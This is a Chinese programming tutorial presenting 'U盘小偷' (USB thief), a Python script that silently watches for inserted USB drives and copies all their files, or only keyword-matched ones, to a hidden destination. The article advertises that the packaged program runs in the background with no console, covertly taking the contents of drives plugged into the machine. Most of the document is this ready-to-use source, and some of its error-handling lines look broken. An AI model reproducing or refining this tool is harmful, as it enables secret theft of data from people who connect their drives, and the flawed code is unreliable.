Python实现U盘数据复制工具
作者:hvinsion
这篇文章主要为大家详细介绍了如何使用Python实现一个U盘数据复制工具,它可以帮助用户快速、方便地将U盘中的文件复制到计算机中,希望对大家有所帮助
1. 简介
顾名思义,U盘小偷是一款功能强大的U盘数据复制工具。它可以帮助用户快速、方便地将U盘中的文件复制到计算机中,此工具简洁易用,用户只需简单更改配置文件具体参数即可完成对U盘内文件的复制工作。
功能:
- 打包好的程序双击运行无控制台界面弹出,后台静默搜索U盘插入状态,更加隐私下载。
- 可通过更改config.ini配置文件从而更改检索U盘的时间间隔、文件copy的目的路径、可选的copy内容等,具体可以参考以下config.ini的文档说明。
- 可自定义选择筛选需要copy的文件内容,亦可选择全部下载。
config.ini文件相关内容
# PASTE_PATH:需要复制到电脑的文件夹路径 # KEYWORD:关键词索引,如果留空不填写则表示复制U盘下的所有文件以及文件夹 # INTERVAL_TIME:更改检查U盘是否存在的间隔时间,默认1s检查一次 [config] PASTE_PATH = D:\usb kEYWORD = INTERVAL_TIME = 5
2. 运行效果


3. 相关源码
import os
import logging
import configparser
from psutil import disk_partitions
from time import sleep
from shutil import copytree, copyfile, rmtree, move
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
# 读取API配置
config = configparser.ConfigParser()
config.read('config.ini')
pastePATH = config.get('config', 'PASTE_PATH')
ukeyword = config.get('config', 'kEYWORD')
intervalTime = config.get('config', 'INTERVAL_TIME')
# 获取U盘的盘符
# disk_partitions() 打印一下他的返回值,就会完全清楚下面这个函数
def get_usb_dispart():
for item in disk_partitions():
if item.opts == "rw,removable": # 可读、可移动介质
logger.info("发现USB:%s" % str(item))
return item.device
logger.info("没有发现USB")
return None
# 读取想要的文件 u盘所有文件或者文件名含有某个字段的文件及文件夹
# 1、文件夹含有该字段:复制文件夹;
# 2、文件含有字段,复制文件。
def get_useb_file(src, path="", select=None, dst=r"C:\usb"):
if select is None:# 无筛选规则,复制所有
copytree(src, dst)
logger.info("复制%s盘USB所有内容到%s" % (src, dst))
else: # 复制部分
paths = os.listdir(os.path.join(src, path)) # 获取当前路径下的所有文件及文件夹
for item in paths:
item = os.path.join(path, item)
if select in item:
if os.path.isdir(os.path.join(src, item)): #如果是文件夹,还有字符直接复制文件夹;否则递归遍历文件夹下的内容
try:
copytree(os.path.join(src, item), os.path.join(dst, item))
except Exception as e:
try:
rmtree(os.path.join(dst, item))
except:
continue
copytree(os.path.join(src, item), os.path.join(dst, item))
else:
try:
copyfile(os.path.join(src, item), os.path.join(dst, item))
except Exception as e:
os.makedirs(os.path.dirname(os.path.join(dst, item)))
try:
move(os.path.join(dst, item))
except:
continue
copyfile(os.path.join(src, item), os.path.join(dst, item))
logger.info("复制%s 到 %s" % (os.path.join(src, item), (os.path.join(dst, item))))
else:
if os.path.isdir(os.path.join(src, item)):
get_useb_file(src, item, select, dst)
if __name__ == "__main__":
while True:
path = get_usb_dispart()
if path is not None:
get_useb_file(src=path, select=ukeyword, dst=pastePATH)
break
sleep(int(intervalTime))
到此这篇关于Python实现U盘数据复制工具的文章就介绍到这了,更多相关Python U盘数据复制内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!
